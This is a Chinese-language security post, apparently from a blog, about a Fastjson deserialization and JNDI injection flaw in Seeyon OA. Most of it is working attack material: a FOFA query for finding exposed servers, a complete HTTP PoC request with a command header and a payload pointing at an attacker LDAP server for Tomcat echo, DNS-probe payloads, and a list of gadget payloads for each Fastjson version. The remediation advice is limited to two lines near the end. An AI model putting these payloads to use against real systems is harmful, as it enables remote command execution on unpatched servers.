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NO.1 影响范围
FOFA："seeyon" && city="xxxx" && after="2021-01-01"
V7.1、V7.1SP1V7.0、V7.0SP1、V7.0SP2、V7.0SP3V6.1、V6.1SP1、V6.1SP2V6.0、V6.0SP1V5.6、V5.6SP1
NO.2 POC
POST /seeyon/main.do?method=changeLocale HTTP/1.1Host: 10.1.2.87Content-Length: 221Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9cmd: ipconfigAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=26FF8158707BB0896A3ACD66EB92DD41; loginPageURL=Connection: close_json_params={"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xxx.xxx.xxx:1289/TomcatBypass/TomcatEcho","autoCommit":true}}
NO.3 漏洞复现
漏洞检测
Jndi影响范围：
1、rmi的利用方式：适用jdk版本：JDK 6u132、JDK 7u122、JDK 8u113之前
2、ldap的利用方式：适用jdk版本：JDK 11.0.1、8u191、7u201、6u211之前
区分FastJson与Jackson：
1）不闭合花括号看报错信息方法
2）减少参数方法
{"name":"S", "age":21}//Fastjson 是不会报错
{"name":"S", "age":21,"xxx":123}// Jackson 语法相对比较严格,会报错
3）fastjson报错关键词:
com.alibaba.fastjson.JSONException , 触发方式如下
{"x":"
["x":1]
{"x":{"@type":"java.lang.AutoCloseable"
DNS探测方法：
注意：Content-Type: application/json
# 未报错poc{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}{"x":{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}}{"x":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}# 报错,但仍有效{"x":{"@type":"java.net.Inet4Address","val":"dnslog"}}{"x":{"@type":"java.net.Inet6Address","val":"dnslog"}}{"x":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}# 报错,且返回400,但仍有效{"x":Set[{"@type":"java.net.URL","val":"http://dnslog"}}{"x":{{"@type":"java.net.URL","val":"http://dnslog"}:0}
Fastjson时间线
fastjson<=1.2.24(CNVD-2017-02833)
{"v24":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}fastjson<=1.2.41
{"v41":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}fastjson<=1.2.42
{"v42":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}fastjson<=1.2.43
{"v43":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://0.0.0.0","autoCommit":true]}}}fastjson<=1.2.45
{"v45":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"},"xxx":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://0.0.0.0"}}}fastjson<=1.2.47(CNVD-2019-22238)
{"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}fastjson<=1.2.59
{"v59_error":{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://127.0.0.1"}}{"v59_error":{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://127.0.0.1"}}
fastjson<=1.2.61
{"v61_error":{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://127.0.0.1"}}{"v61_error":{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://127.0.0.1","Object":"a"}}
fastjson<=1.2.62
{"v62":{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://0.0.0.0"}}{"v62_error":{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://0.0.0.0"}}}{"v62_error":{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://0.0.0.0"}}{"v62_error":{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor","parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://0.0.0.0"},"namespace":""}}
fastjson<=1.2.66
{"v66":{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://0.0.0.0"],"Realms":[""]}}{"v66":{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://0.0.0.0"}}{"v66_error":{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://0.0.0.0"}}{"v66_error":{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://0.0.0.0"}}
fastjson<=1.2.68
写文件覆盖方法{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://0.0.0.0"}{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://0.0.0.0"}
实战记录
自行准备：JNDI-Injection-Exploit
(https://github.com/welk1n/JNDI-Injection-Exploit)
使用方法不在过多介绍
dnslog初步探测
命令执行探测
有请求表示, ping命令执行成功
回显姿势
修复建议
1.升级fastjson组件版本到最新
2.升级oa系统
NO.4 参考
https://www.secrss.com/articles/30425
http://service.seeyon.com/patchtools/tp.html# /patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=12
https://mp.weixin.qq.com/s/f2scum8wWcCeOOOR7nKHaQ
https://mp.weixin.qq.com/s/owEfyZsPEl61kQ100ALp4w
https://mp.weixin.qq.com/s?__biz=MzI4OTQ5Njc2Mw==&mid=2247484291&idx=1&sn=9b4b226517f4c63c071a5c4a21ea0156&scene=21# wechat_redirect
RECRUITMENT
招聘启事
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